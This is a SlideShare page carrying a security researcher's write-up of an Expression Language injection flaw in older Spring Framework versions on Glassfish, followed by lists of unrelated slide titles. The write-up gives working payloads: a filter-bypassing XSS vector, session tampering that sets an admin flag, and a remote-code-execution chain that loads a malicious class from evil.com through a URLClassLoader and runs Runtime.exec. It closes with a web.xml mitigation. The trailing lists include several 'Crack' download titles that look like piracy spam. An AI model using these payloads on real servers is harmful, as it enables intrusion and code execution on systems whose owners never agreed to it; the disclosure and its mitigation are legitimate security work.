SlideShare a Scribd company logo
Remote Code with Expression Language Injection
Discovering a Spring Framework Vulnerability - DanAmodio
More than 22,000 organizations worldwide have downloaded 1.314 million outdated instances of Spring Framework,
which may be putting businesses at risk.
In 2011, Stefano Di Paola of Minded Security and Arshan Dabirsiaghi from Aspect Security discovered an interesting
pattern in the Spring Framework, which Stefano coined Expression Language (EL) Injection [PDF] [Advisory]. Their
discovery revealed that certain Spring tags which double interpret Expression Language can be used to expose
sensitive data stored on the server. This is because Spring provides EL support independent of the JSP/Servlet
container, as a means for backwards compatibility, since, prior to JSP 2.0, Expression Language wasn’t supported.
This functionality is currently turned on by default, and applications that use the patterns described herein are
vulnerable.
While it’s difficult to quantify the depth and breadth of this problem since every application will not be vulnerable as is
the case with reflected XSS, we do know, according to recent statistics from Sonatype, that more than 22,000
organizations worldwide have downloaded over 1.314 million individual Spring 3.0.5, or prior. Point-in-fact, one large
retail organization consumed 241 different artifacts, 4,119 total downloads.
These versions do not support disabling the double EL resolution.
The original impact of this issue related to information disclosure, but I’ll illustrate how it can actually be used for
remote code execution on Glassfish and potentially other EL 2.2 containers.
Here’s an example of what the original information disclosure attack looked like:
A request of the form:
http://vulnerable.com/foo?message=${applicationScope}
to a page that contains:
<spring:message text="" code="${param['message']}"></spring:message>
will result in output that contains internal server information including the classpath and local working directories.
You can also do other useful things like addition:
${9999+1}
and access session objects and beans:
${employee.lastName}
Discovery
While performing a penetration test on a client’s application on Glassfish, I came across this same pattern. Knowing
about EL Injection, I did additional testing, confirmed the finding, and moved along; I wanted to unearth the juicy stuff,
like XSS.
Alas, the application had an input filter blocking my requests, since they stripped all of the ‘<’ and ‘>’ tags.
On a whim, I thought: “Since I can string manipulate in Java, why don’t I try and do that in EL and bypass the filter?”
So, I attempted the following:
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPPP
I noticed that the returned error code shows QQQQQ, because the String.replaceAll method has been called, and the
returned text is inserted into the spring:message tag.
Here’s the final working vector that bypassed the filter:
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”<”).replaceAll(“Q”,”>”)}&f
oo=PscriptQalert(1);P/scriptQ
It worked great, and I thought nothing of it for the next hour or so. Then I realized it was really, really, bad. Why was it
possible for me to stick methods in EL like this? That begged the question- what other gnarly things can I do?
After some research, I learned that the EL 2.2 added support for method invocation.
Taking it Further
I wrote a quick test application and started checking out some functionality:
${pageContext.request.getSession().setAttribute("account","123456")}
${pageContext.request.getSession().setAttribute("admin",true)}
OK, session object modification is a definite risk. I really wanted to touch objects I didn’t have a direct pointer to
through the pageContext. Maybe we can use reflection, like String.getClass().forName(string)?
${"".getClass().forName("java.net.Socket").newInstance().connect("127.0.0.1", 1234)}
${"".getClass().forName("java.lang.Runtime")}
Wow, there’s no way that should work! This could be disastrous because you can touch just about anything.
Unfortunately, it’s not possible to call newInstance() for numerous dangerous classes (like Runtime), as they do not
provide default constructors. We were unable to cast objects, and there are some issues with
getMethods()[0].invoke() when it requires null or a null array. EL seems to resolve these as a string literal before
passing the data to the method. I assume this is due to the method signature invoke(Object obj, Object… args).
Jeff Williams (Co-Founder of both Aspect Security and OWASP), Arshan, and I were all scratching our heads trying to
make this work.
Exploitation
After seriously banging my head against the wall, I had exhausted many options. Now that we’re making this public, I
hope some of you Java wizards will tell me how ridiculous I was.
Here are several of the failed avenues we tried, in an attempt to get this to work:
 Write a file to the file system.
 Try and load the org.springframework.expression.spel.standard.SpelExpressionParser.
I think this would actually work, I just couldn’t find the right class loader.
${pageContext.getClass().getClassLoader().loadClass("org.springframework.expression.s
pel.standard.SpelExpressionParser")}
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
org.springframework.expression.spel.standard.SpelExpressionParser not found by
org.glassfish.web.javax.servlet.jsp [194].
 Use reflection to modify the java.lang.Runtime.currentRuntime attribute to public.
 Use reflection to create a new Runtime (and watch the world burn).
${pageContext.request.getSession().setAttribute("rtc","".getClass().forName("java.lan
g.Runtime")).getDeclaredConstructors()[0])}
${pageContext.request.getSession().getAttribute("rtc").setAccessible(true)}
 Use java.lang.ProcessBuilder.
 Evaluate Expression Language with Expression Language.
Expression-ception! I think I was getting crazy by this point. The vector doesn’t really make any sense.
${pageContext.getExpressionEvaluator().parseExpression("pageContext.request","".getCl
ass(),null)}
 Create an ObjectInputStream, serialize a class, and send it up through a parameter (also a little crazy).
We failed many times at passing a null array to Method.invoke().
"".getClass().forName("java.lang.Runtime").getMethods()[5].invoke(param.foo.getClass(
).forName("java.lang.Runtime"),"".getClass().forName("java.util.ArrayList").newInstan
ce().toArray())
java.lang.IllegalArgumentException: wrong number of arguments
Nope!
Finally, I tripped on the answer one evening: I was able to get a URLClassLoader, so I created a malicious class file
and pointed the class loader at it.
I wrote a Java class that tried to open the calculator application on the server, proving remote code execution:
public class Malicious {
public Malicious() {
try {
java.lang.Runtime.getRuntime().exec("open -a Calculator"); //Mac
java.lang.Runtime.getRuntime().exec("calc.exe"); //Win
} catch (Exception e) {
}
}
}
We create an ArrayList that will be used to construct a new URLClassLoader. It needs to be stored in the session so it
can be reused.
${pageContext.request.getSession().setAttribute("arr","".getClass().forName("java.uti
l.ArrayList").newInstance())}
URLClassLoader provides a newInstance method, which accepts an array of URL objects. We need to create a new
URL that contains the path to our malicious code. The ServletContext can provide us a URL object with the
getResource(string) method, but we’re unable to create a new instance directly. However, URI provides a
create(string) method which we can call, and then convert to a URL object.
${pageContext.request.getSession().getAttribute("arr").add(pageContext.getServletCont
ext().getResource("/").toURI().create("http://evil.com/path/to/where/malicious/classf
ile/is/located/").toURL())}
Then we find a pointer to a URLClassLoader so the newInstance method can be invoked. The malicious class file is
loaded and created, triggering remote code.
${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request
.getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().get
Parent().getURLs())).loadClass("Malicious").newInstance()}
Here is my actual celebratory screenshot:
Conclusion and Prevention
It is difficult to quantify the depth and breadth of this since not every application will be vulnerable as is the case with
reflected XSS. Un-validated data has to be passed into one of the vulnerable Spring tags, or otherwise hit an
expression interpreter.
What we do know, according to recent statistics from Sonatype, is that more than 22,000 organizations, worldwide
have downloaded over 1.314 million individual Spring 3.0.5 or prior. These do not support disabling the double EL
resolution. It’s time to update your libraries folks!
This was all tested on Glassfish 3.1.2.2 with Spring 3.0.6, but Tomcat 7 claims to support the method invocation
functionality. It’s also possible this has been specifically retrofitted into older versions by users.
As of December 6, 2012, Spring has updated the original CVE to a critical, and will be making the functionality
available on an opt-in basis for a future release.
Today, you can opt-out with Spring 3.0.6 and above by setting the springJspExpressionSupport context parameter to
false in your web.xml.
<context-param>
<description>Spring Expression Language Support</description>
<param-name>springJspExpressionSupport</param-name>
<param-value>false</param-value>
</context-param>
On Spring Framework 3.1 onwards when running on Servlet 3.0 or higher, the functionality should be off by default,
but it never hurts to be explicit.
@DanAmodio
Ad

More Related Content

What's hot (20)

ASP.NET Web API
ASP.NET Web APIASP.NET Web API
ASP.NET Web API
habib_786
 
QA Fest 2019. Андрей Солнцев. Selenide для профи
QA Fest 2019. Андрей Солнцев. Selenide для профиQA Fest 2019. Андрей Солнцев. Selenide для профи
QA Fest 2019. Андрей Солнцев. Selenide для профи
QAFest
 
Automated Security Analysis of Android & iOS Applications with Mobile Securit...
Automated Security Analysis of Android & iOS Applications with Mobile Securit...Automated Security Analysis of Android & iOS Applications with Mobile Securit...
Automated Security Analysis of Android & iOS Applications with Mobile Securit...
Ajin Abraham
 
Introduction into ES6 JavaScript.
Introduction into ES6 JavaScript.Introduction into ES6 JavaScript.
Introduction into ES6 JavaScript.
boyney123
 
Introduction to flutter
Introduction to flutter Introduction to flutter
Introduction to flutter
Wan Muzaffar Wan Hashim
 
Angular
AngularAngular
Angular
LearningTech
 
Attack monitoring using ElasticSearch Logstash and Kibana
Attack monitoring using ElasticSearch Logstash and KibanaAttack monitoring using ElasticSearch Logstash and Kibana
Attack monitoring using ElasticSearch Logstash and Kibana
Prajal Kulkarni
 
Token Authentication in ASP.NET Core
Token Authentication in ASP.NET CoreToken Authentication in ASP.NET Core
Token Authentication in ASP.NET Core
Stormpath
 
Client-side JavaScript
Client-side JavaScriptClient-side JavaScript
Client-side JavaScript
Lilia Sfaxi
 
Formation Spring Avancé gratuite par Ippon 2014
Formation Spring Avancé gratuite par Ippon 2014Formation Spring Avancé gratuite par Ippon 2014
Formation Spring Avancé gratuite par Ippon 2014
Ippon
 
JAVA Variables and Operators
JAVA Variables and OperatorsJAVA Variables and Operators
JAVA Variables and Operators
Sunil OS
 
Angular Dependency Injection
Angular Dependency InjectionAngular Dependency Injection
Angular Dependency Injection
Nir Kaufman
 
Entity Framework Database and Code First
Entity Framework Database and Code FirstEntity Framework Database and Code First
Entity Framework Database and Code First
James Johnson
 
Advance Java Programming (CM5I) 6.Servlet
Advance Java Programming (CM5I) 6.ServletAdvance Java Programming (CM5I) 6.Servlet
Advance Java Programming (CM5I) 6.Servlet
Payal Dungarwal
 
Rest API Security
Rest API SecurityRest API Security
Rest API Security
Stormpath
 
Introduction to JWT and How to integrate with Spring Security
Introduction to JWT and How to integrate with Spring SecurityIntroduction to JWT and How to integrate with Spring Security
Introduction to JWT and How to integrate with Spring Security
Bruno Henrique Rother
 
Spring boot
Spring bootSpring boot
Spring boot
sdeeg
 
Whitebox testing of Spring Boot applications
Whitebox testing of Spring Boot applicationsWhitebox testing of Spring Boot applications
Whitebox testing of Spring Boot applications
Yura Nosenko
 
AWS re:Inforce 2019 - Threat Hunting in CloudTrail & GuardDuty
AWS re:Inforce 2019 - Threat Hunting in CloudTrail & GuardDutyAWS re:Inforce 2019 - Threat Hunting in CloudTrail & GuardDuty
AWS re:Inforce 2019 - Threat Hunting in CloudTrail & GuardDuty
Chris Farris
 
Clean backends with NestJs
Clean backends with NestJsClean backends with NestJs
Clean backends with NestJs
Aymene Bennour
 
ASP.NET Web API
ASP.NET Web APIASP.NET Web API
ASP.NET Web API
habib_786
 
QA Fest 2019. Андрей Солнцев. Selenide для профи
QA Fest 2019. Андрей Солнцев. Selenide для профиQA Fest 2019. Андрей Солнцев. Selenide для профи
QA Fest 2019. Андрей Солнцев. Selenide для профи
QAFest
 
Automated Security Analysis of Android & iOS Applications with Mobile Securit...
Automated Security Analysis of Android & iOS Applications with Mobile Securit...Automated Security Analysis of Android & iOS Applications with Mobile Securit...
Automated Security Analysis of Android & iOS Applications with Mobile Securit...
Ajin Abraham
 
Introduction into ES6 JavaScript.
Introduction into ES6 JavaScript.Introduction into ES6 JavaScript.
Introduction into ES6 JavaScript.
boyney123
 
Attack monitoring using ElasticSearch Logstash and Kibana
Attack monitoring using ElasticSearch Logstash and KibanaAttack monitoring using ElasticSearch Logstash and Kibana
Attack monitoring using ElasticSearch Logstash and Kibana
Prajal Kulkarni
 
Token Authentication in ASP.NET Core
Token Authentication in ASP.NET CoreToken Authentication in ASP.NET Core
Token Authentication in ASP.NET Core
Stormpath
 
Client-side JavaScript
Client-side JavaScriptClient-side JavaScript
Client-side JavaScript
Lilia Sfaxi
 
Formation Spring Avancé gratuite par Ippon 2014
Formation Spring Avancé gratuite par Ippon 2014Formation Spring Avancé gratuite par Ippon 2014
Formation Spring Avancé gratuite par Ippon 2014
Ippon
 
JAVA Variables and Operators
JAVA Variables and OperatorsJAVA Variables and Operators
JAVA Variables and Operators
Sunil OS
 
Angular Dependency Injection
Angular Dependency InjectionAngular Dependency Injection
Angular Dependency Injection
Nir Kaufman
 
Entity Framework Database and Code First
Entity Framework Database and Code FirstEntity Framework Database and Code First
Entity Framework Database and Code First
James Johnson
 
Advance Java Programming (CM5I) 6.Servlet
Advance Java Programming (CM5I) 6.ServletAdvance Java Programming (CM5I) 6.Servlet
Advance Java Programming (CM5I) 6.Servlet
Payal Dungarwal
 
Rest API Security
Rest API SecurityRest API Security
Rest API Security
Stormpath
 
Introduction to JWT and How to integrate with Spring Security
Introduction to JWT and How to integrate with Spring SecurityIntroduction to JWT and How to integrate with Spring Security
Introduction to JWT and How to integrate with Spring Security
Bruno Henrique Rother
 
Spring boot
Spring bootSpring boot
Spring boot
sdeeg
 
Whitebox testing of Spring Boot applications
Whitebox testing of Spring Boot applicationsWhitebox testing of Spring Boot applications
Whitebox testing of Spring Boot applications
Yura Nosenko
 
AWS re:Inforce 2019 - Threat Hunting in CloudTrail & GuardDuty
AWS re:Inforce 2019 - Threat Hunting in CloudTrail & GuardDutyAWS re:Inforce 2019 - Threat Hunting in CloudTrail & GuardDuty
AWS re:Inforce 2019 - Threat Hunting in CloudTrail & GuardDuty
Chris Farris
 
Clean backends with NestJs
Clean backends with NestJsClean backends with NestJs
Clean backends with NestJs
Aymene Bennour
 

Viewers also liked (20)

eminghuliev #nullpd
eminghuliev #nullpdeminghuliev #nullpd
eminghuliev #nullpd
Ghuliev Emin
 
Детям о безопасности
Детям о безопасностиДетям о безопасности
Детям о безопасности
Kaiyrzhan Kozhaly
 
Android System Architecture And  Pen-testing of Android applications
Android System Architecture  And  Pen-testing of Android applications Android System Architecture  And  Pen-testing of Android applications
Android System Architecture And  Pen-testing of Android applications
yavuzwb
 
01 Incom Aos Presentation
01 Incom Aos Presentation01 Incom Aos Presentation
01 Incom Aos Presentation
Илья Колесниченко
 
Positive Hack Days. Pavlov. Network Infrastructure Security Assessment
Positive Hack Days. Pavlov. Network Infrastructure Security AssessmentPositive Hack Days. Pavlov. Network Infrastructure Security Assessment
Positive Hack Days. Pavlov. Network Infrastructure Security Assessment
Positive Hack Days
 
Positive Hack Days. Gurkin. Zero Day for SCADA (0-day)
Positive Hack Days. Gurkin. Zero Day for SCADA (0-day)Positive Hack Days. Gurkin. Zero Day for SCADA (0-day)
Positive Hack Days. Gurkin. Zero Day for SCADA (0-day)
Positive Hack Days
 
01 29 09
01 29 0901 29 09
01 29 09
Saurabh Srivastava
 
проектная деятельность
проектная деятельностьпроектная деятельность
проектная деятельность
Олег Аплекаев
 
WMI - A FRONT DOOR FOR MALWARES
WMI - A FRONT DOOR FOR MALWARESWMI - A FRONT DOOR FOR MALWARES
WMI - A FRONT DOOR FOR MALWARES
Santhosh Kumar
 
Reverse Engineering automation
Reverse Engineering automationReverse Engineering automation
Reverse Engineering automation
Positive Hack Days
 
Comodo_Vietnam_Overview
Comodo_Vietnam_OverviewComodo_Vietnam_Overview
Comodo_Vietnam_Overview
Truong Minh Yen
 
Безопасность SAP HCM
Безопасность SAP HCMБезопасность SAP HCM
Безопасность SAP HCM
Positive Hack Days
 
Phrases for resume and interview start Mar31
Phrases for resume and interview  start Mar31Phrases for resume and interview  start Mar31
Phrases for resume and interview start Mar31
Sander Stepanov
 
Huzeyfe Önal - Siber Savunma Sistemlerinde Profesyonel Arka Kapılar
Huzeyfe Önal - Siber Savunma Sistemlerinde Profesyonel Arka KapılarHuzeyfe Önal - Siber Savunma Sistemlerinde Profesyonel Arka Kapılar
Huzeyfe Önal - Siber Savunma Sistemlerinde Profesyonel Arka Kapılar
Kasım Erkan
 
Презентация с Форума ИБ Директоров 16 апреля 2012г. "Безопасность инфраструкт...
Презентация с Форума ИБ Директоров 16 апреля 2012г. "Безопасность инфраструкт...Презентация с Форума ИБ Директоров 16 апреля 2012г. "Безопасность инфраструкт...
Презентация с Форума ИБ Директоров 16 апреля 2012г. "Безопасность инфраструкт...
Максим Федотенко
 
Github
GithubGithub
Github
Masih Newbie
 
Collaboration Between Infosec Community and CERT Teams : Project Sonar case
Collaboration Between Infosec Community and CERT Teams : Project Sonar caseCollaboration Between Infosec Community and CERT Teams : Project Sonar case
Collaboration Between Infosec Community and CERT Teams : Project Sonar case
Valdes Nzalli
 
Thinking Outside The [Sand]Box
Thinking Outside The [Sand]BoxThinking Outside The [Sand]Box
Thinking Outside The [Sand]Box
Michael Genkin
 
eminghuliev #nullpd
eminghuliev #nullpdeminghuliev #nullpd
eminghuliev #nullpd
Ghuliev Emin
 
Детям о безопасности
Детям о безопасностиДетям о безопасности
Детям о безопасности
Kaiyrzhan Kozhaly
 
Android System Architecture And  Pen-testing of Android applications
Android System Architecture  And  Pen-testing of Android applications Android System Architecture  And  Pen-testing of Android applications
Android System Architecture And  Pen-testing of Android applications
yavuzwb
 
Positive Hack Days. Pavlov. Network Infrastructure Security Assessment
Positive Hack Days. Pavlov. Network Infrastructure Security AssessmentPositive Hack Days. Pavlov. Network Infrastructure Security Assessment
Positive Hack Days. Pavlov. Network Infrastructure Security Assessment
Positive Hack Days
 
Positive Hack Days. Gurkin. Zero Day for SCADA (0-day)
Positive Hack Days. Gurkin. Zero Day for SCADA (0-day)Positive Hack Days. Gurkin. Zero Day for SCADA (0-day)
Positive Hack Days. Gurkin. Zero Day for SCADA (0-day)
Positive Hack Days
 
WMI - A FRONT DOOR FOR MALWARES
WMI - A FRONT DOOR FOR MALWARESWMI - A FRONT DOOR FOR MALWARES
WMI - A FRONT DOOR FOR MALWARES
Santhosh Kumar
 
Reverse Engineering automation
Reverse Engineering automationReverse Engineering automation
Reverse Engineering automation
Positive Hack Days
 
Безопасность SAP HCM
Безопасность SAP HCMБезопасность SAP HCM
Безопасность SAP HCM
Positive Hack Days
 
Phrases for resume and interview start Mar31
Phrases for resume and interview  start Mar31Phrases for resume and interview  start Mar31
Phrases for resume and interview start Mar31
Sander Stepanov
 
Huzeyfe Önal - Siber Savunma Sistemlerinde Profesyonel Arka Kapılar
Huzeyfe Önal - Siber Savunma Sistemlerinde Profesyonel Arka KapılarHuzeyfe Önal - Siber Savunma Sistemlerinde Profesyonel Arka Kapılar
Huzeyfe Önal - Siber Savunma Sistemlerinde Profesyonel Arka Kapılar
Kasım Erkan
 
Презентация с Форума ИБ Директоров 16 апреля 2012г. "Безопасность инфраструкт...
Презентация с Форума ИБ Директоров 16 апреля 2012г. "Безопасность инфраструкт...Презентация с Форума ИБ Директоров 16 апреля 2012г. "Безопасность инфраструкт...
Презентация с Форума ИБ Директоров 16 апреля 2012г. "Безопасность инфраструкт...
Максим Федотенко
 
Collaboration Between Infosec Community and CERT Teams : Project Sonar case
Collaboration Between Infosec Community and CERT Teams : Project Sonar caseCollaboration Between Infosec Community and CERT Teams : Project Sonar case
Collaboration Between Infosec Community and CERT Teams : Project Sonar case
Valdes Nzalli
 
Thinking Outside The [Sand]Box
Thinking Outside The [Sand]BoxThinking Outside The [Sand]Box
Thinking Outside The [Sand]Box
Michael Genkin
 
Ad

Similar to Remote code-with-expression-language-injection (20)

Pentesting Modern Web Apps: A Primer
Pentesting Modern Web Apps: A PrimerPentesting Modern Web Apps: A Primer
Pentesting Modern Web Apps: A Primer
Brian Hysell
 
Request dispacther interface ppt
Request dispacther interface pptRequest dispacther interface ppt
Request dispacther interface ppt
Taha Malampatti
 
Pushing the Web: Interesting things to Know
Pushing the Web: Interesting things to KnowPushing the Web: Interesting things to Know
Pushing the Web: Interesting things to Know
n|u - The Open Security Community
 
Tomcat + other things
Tomcat + other thingsTomcat + other things
Tomcat + other things
Aravindharamanan S
 
[Coscup 2012] JavascriptMVC
[Coscup 2012] JavascriptMVC[Coscup 2012] JavascriptMVC
[Coscup 2012] JavascriptMVC
Alive Kuo
 
1 ppt-ajax with-j_query
1 ppt-ajax with-j_query1 ppt-ajax with-j_query
1 ppt-ajax with-j_query
Fajar Baskoro
 
Bare-knuckle web development
Bare-knuckle web developmentBare-knuckle web development
Bare-knuckle web development
Johannes Brodwall
 
Web UI test automation instruments
Web UI test automation instrumentsWeb UI test automation instruments
Web UI test automation instruments
Artem Nagornyi
 
Backbone js
Backbone jsBackbone js
Backbone js
Knoldus Inc.
 
The Theory Of The Dom
The Theory Of The DomThe Theory Of The Dom
The Theory Of The Dom
kaven yan
 
By combining Selenium for frontend testing and tools
By combining Selenium for frontend testing and toolsBy combining Selenium for frontend testing and tools
By combining Selenium for frontend testing and tools
sivanandhumanickam84
 
Writing RESTful web services using Node.js
Writing RESTful web services using Node.jsWriting RESTful web services using Node.js
Writing RESTful web services using Node.js
FDConf
 
Having Fun with Play
Having Fun with PlayHaving Fun with Play
Having Fun with Play
Clinton Dreisbach
 
droidQuery: The Android port of jQuery
droidQuery: The Android port of jQuerydroidQuery: The Android port of jQuery
droidQuery: The Android port of jQuery
PhDBrown
 
Play Framework: async I/O with Java and Scala
Play Framework: async I/O with Java and ScalaPlay Framework: async I/O with Java and Scala
Play Framework: async I/O with Java and Scala
Yevgeniy Brikman
 
Das kannste schon so machen
Das kannste schon so machenDas kannste schon so machen
Das kannste schon so machen
André Goliath
 
Terrastore - A document database for developers
Terrastore - A document database for developersTerrastore - A document database for developers
Terrastore - A document database for developers
Sergio Bossa
 
jQuery
jQueryjQuery
jQuery
Ivano Malavolta
 
Experienced Selenium Interview questions
Experienced Selenium Interview questionsExperienced Selenium Interview questions
Experienced Selenium Interview questions
archana singh
 
Backbone.js
Backbone.jsBackbone.js
Backbone.js
Knoldus Inc.
 
Pentesting Modern Web Apps: A Primer
Pentesting Modern Web Apps: A PrimerPentesting Modern Web Apps: A Primer
Pentesting Modern Web Apps: A Primer
Brian Hysell
 
Request dispacther interface ppt
Request dispacther interface pptRequest dispacther interface ppt
Request dispacther interface ppt
Taha Malampatti
 
[Coscup 2012] JavascriptMVC
[Coscup 2012] JavascriptMVC[Coscup 2012] JavascriptMVC
[Coscup 2012] JavascriptMVC
Alive Kuo
 
1 ppt-ajax with-j_query
1 ppt-ajax with-j_query1 ppt-ajax with-j_query
1 ppt-ajax with-j_query
Fajar Baskoro
 
Bare-knuckle web development
Bare-knuckle web developmentBare-knuckle web development
Bare-knuckle web development
Johannes Brodwall
 
Web UI test automation instruments
Web UI test automation instrumentsWeb UI test automation instruments
Web UI test automation instruments
Artem Nagornyi
 
The Theory Of The Dom
The Theory Of The DomThe Theory Of The Dom
The Theory Of The Dom
kaven yan
 
By combining Selenium for frontend testing and tools
By combining Selenium for frontend testing and toolsBy combining Selenium for frontend testing and tools
By combining Selenium for frontend testing and tools
sivanandhumanickam84
 
Writing RESTful web services using Node.js
Writing RESTful web services using Node.jsWriting RESTful web services using Node.js
Writing RESTful web services using Node.js
FDConf
 
droidQuery: The Android port of jQuery
droidQuery: The Android port of jQuerydroidQuery: The Android port of jQuery
droidQuery: The Android port of jQuery
PhDBrown
 
Play Framework: async I/O with Java and Scala
Play Framework: async I/O with Java and ScalaPlay Framework: async I/O with Java and Scala
Play Framework: async I/O with Java and Scala
Yevgeniy Brikman
 
Das kannste schon so machen
Das kannste schon so machenDas kannste schon so machen
Das kannste schon so machen
André Goliath
 
Terrastore - A document database for developers
Terrastore - A document database for developersTerrastore - A document database for developers
Terrastore - A document database for developers
Sergio Bossa
 
Experienced Selenium Interview questions
Experienced Selenium Interview questionsExperienced Selenium Interview questions
Experienced Selenium Interview questions
archana singh
 
Ad

Recently uploaded (20)

Why art is important at an early age
Why  art  is  important  at an early ageWhy  art  is  important  at an early age
Why art is important at an early age
littleartistsdigital
 
Capabilities 4_29_2025_TarkentonTLLC.pptx
Capabilities 4_29_2025_TarkentonTLLC.pptxCapabilities 4_29_2025_TarkentonTLLC.pptx
Capabilities 4_29_2025_TarkentonTLLC.pptx
AnnaKristine3
 
Driver Easy Pro Crack 2025 Latest Version | PPT
Driver Easy Pro Crack 2025 Latest Version | PPTDriver Easy Pro Crack 2025 Latest Version | PPT
Driver Easy Pro Crack 2025 Latest Version | PPT
hk7720889
 
Download SamDrivers Crack Latest [2025-MAY]
Download SamDrivers Crack Latest [2025-MAY]Download SamDrivers Crack Latest [2025-MAY]
Download SamDrivers Crack Latest [2025-MAY]
himowom360
 
Company Roster_Tarkenton_Presentation.pptx
Company Roster_Tarkenton_Presentation.pptxCompany Roster_Tarkenton_Presentation.pptx
Company Roster_Tarkenton_Presentation.pptx
AnnaKristine3
 
gewt ready for the test dicument in the hall
gewt ready for the test dicument in the hallgewt ready for the test dicument in the hall
gewt ready for the test dicument in the hall
MadhusudanVashisht1
 
FACTORS EFFECTING T-21 HANLINGFACTORS EFFECTING .ppt
FACTORS EFFECTING T-21 HANLINGFACTORS EFFECTING .pptFACTORS EFFECTING T-21 HANLINGFACTORS EFFECTING .ppt
FACTORS EFFECTING T-21 HANLINGFACTORS EFFECTING .ppt
adurrani1235
 
5dsssssssssssssssssssssssssshfdhdhfd.pdf
5dsssssssssssssssssssssssssshfdhdhfd.pdf5dsssssssssssssssssssssssssshfdhdhfd.pdf
5dsssssssssssssssssssssssssshfdhdhfd.pdf
ssuser060b2e1
 
IDM Crack with Internet Download Manager 6.42 Build 32
IDM Crack with Internet Download Manager 6.42 Build 32IDM Crack with Internet Download Manager 6.42 Build 32
IDM Crack with Internet Download Manager 6.42 Build 32
nawabana305
 
What Makes a Great Architectural Model Maker in Dubai.pdf
What Makes a Great Architectural Model Maker in Dubai.pdfWhat Makes a Great Architectural Model Maker in Dubai.pdf
What Makes a Great Architectural Model Maker in Dubai.pdf
paayalsinghh28
 
CyberLink MediaShow Ultra Free CRACK 6.0.10019 Download
CyberLink MediaShow Ultra Free CRACK 6.0.10019 DownloadCyberLink MediaShow Ultra Free CRACK 6.0.10019 Download
CyberLink MediaShow Ultra Free CRACK 6.0.10019 Download
hk7720889
 
Total Video Downloader Crack Latest [2025-MAY]
Total Video Downloader Crack Latest [2025-MAY]Total Video Downloader Crack Latest [2025-MAY]
Total Video Downloader Crack Latest [2025-MAY]
poyeheh550
 
Latest Capcut Pro 2025 Crack Version For PC {Fully-250324101644-ba1d95f1-2503...
Latest Capcut Pro 2025 Crack Version For PC {Fully-250324101644-ba1d95f1-2503...Latest Capcut Pro 2025 Crack Version For PC {Fully-250324101644-ba1d95f1-2503...
Latest Capcut Pro 2025 Crack Version For PC {Fully-250324101644-ba1d95f1-2503...
abbaskanju3
 
Canva Crack for Windows Latest Version [Updated]
Canva Crack for Windows Latest Version [Updated]Canva Crack for Windows Latest Version [Updated]
Canva Crack for Windows Latest Version [Updated]
hk7720889
 
VICTORIA TERMINUS & Mysuru Railway Station Architecture.pptx
VICTORIA TERMINUS & Mysuru Railway Station Architecture.pptxVICTORIA TERMINUS & Mysuru Railway Station Architecture.pptx
VICTORIA TERMINUS & Mysuru Railway Station Architecture.pptx
PrajwalKB2
 
codes and conventions of fashion magazines.pptx
codes and conventions of fashion magazines.pptxcodes and conventions of fashion magazines.pptx
codes and conventions of fashion magazines.pptx
fleurdebruxelles11
 
content creator passionate about architecture, culture, and design.
content creator passionate about architecture, culture, and design.content creator passionate about architecture, culture, and design.
content creator passionate about architecture, culture, and design.
Suma Angari
 
Girl Pow-R pilot storyboard - by Camila Umana
Girl Pow-R pilot storyboard - by Camila UmanaGirl Pow-R pilot storyboard - by Camila Umana
Girl Pow-R pilot storyboard - by Camila Umana
CamilaUmaa7
 
MODULE 1&2 22-SCHEME by vemana institute of technology in Bangalore Karnataka...
MODULE 1&2 22-SCHEME by vemana institute of technology in Bangalore Karnataka...MODULE 1&2 22-SCHEME by vemana institute of technology in Bangalore Karnataka...
MODULE 1&2 22-SCHEME by vemana institute of technology in Bangalore Karnataka...
SyedRaqib5
 
Enscape 3D 3.5.5 Crack + License key 2025
Enscape 3D 3.5.5 Crack + License key 2025Enscape 3D 3.5.5 Crack + License key 2025
Enscape 3D 3.5.5 Crack + License key 2025
hk7720889
 
Why art is important at an early age
Why  art  is  important  at an early ageWhy  art  is  important  at an early age
Why art is important at an early age
littleartistsdigital
 
Capabilities 4_29_2025_TarkentonTLLC.pptx
Capabilities 4_29_2025_TarkentonTLLC.pptxCapabilities 4_29_2025_TarkentonTLLC.pptx
Capabilities 4_29_2025_TarkentonTLLC.pptx
AnnaKristine3
 
Driver Easy Pro Crack 2025 Latest Version | PPT
Driver Easy Pro Crack 2025 Latest Version | PPTDriver Easy Pro Crack 2025 Latest Version | PPT
Driver Easy Pro Crack 2025 Latest Version | PPT
hk7720889
 
Download SamDrivers Crack Latest [2025-MAY]
Download SamDrivers Crack Latest [2025-MAY]Download SamDrivers Crack Latest [2025-MAY]
Download SamDrivers Crack Latest [2025-MAY]
himowom360
 
Company Roster_Tarkenton_Presentation.pptx
Company Roster_Tarkenton_Presentation.pptxCompany Roster_Tarkenton_Presentation.pptx
Company Roster_Tarkenton_Presentation.pptx
AnnaKristine3
 
gewt ready for the test dicument in the hall
gewt ready for the test dicument in the hallgewt ready for the test dicument in the hall
gewt ready for the test dicument in the hall
MadhusudanVashisht1
 
FACTORS EFFECTING T-21 HANLINGFACTORS EFFECTING .ppt
FACTORS EFFECTING T-21 HANLINGFACTORS EFFECTING .pptFACTORS EFFECTING T-21 HANLINGFACTORS EFFECTING .ppt
FACTORS EFFECTING T-21 HANLINGFACTORS EFFECTING .ppt
adurrani1235
 
5dsssssssssssssssssssssssssshfdhdhfd.pdf
5dsssssssssssssssssssssssssshfdhdhfd.pdf5dsssssssssssssssssssssssssshfdhdhfd.pdf
5dsssssssssssssssssssssssssshfdhdhfd.pdf
ssuser060b2e1
 
IDM Crack with Internet Download Manager 6.42 Build 32
IDM Crack with Internet Download Manager 6.42 Build 32IDM Crack with Internet Download Manager 6.42 Build 32
IDM Crack with Internet Download Manager 6.42 Build 32
nawabana305
 
What Makes a Great Architectural Model Maker in Dubai.pdf
What Makes a Great Architectural Model Maker in Dubai.pdfWhat Makes a Great Architectural Model Maker in Dubai.pdf
What Makes a Great Architectural Model Maker in Dubai.pdf
paayalsinghh28
 
CyberLink MediaShow Ultra Free CRACK 6.0.10019 Download
CyberLink MediaShow Ultra Free CRACK 6.0.10019 DownloadCyberLink MediaShow Ultra Free CRACK 6.0.10019 Download
CyberLink MediaShow Ultra Free CRACK 6.0.10019 Download
hk7720889
 
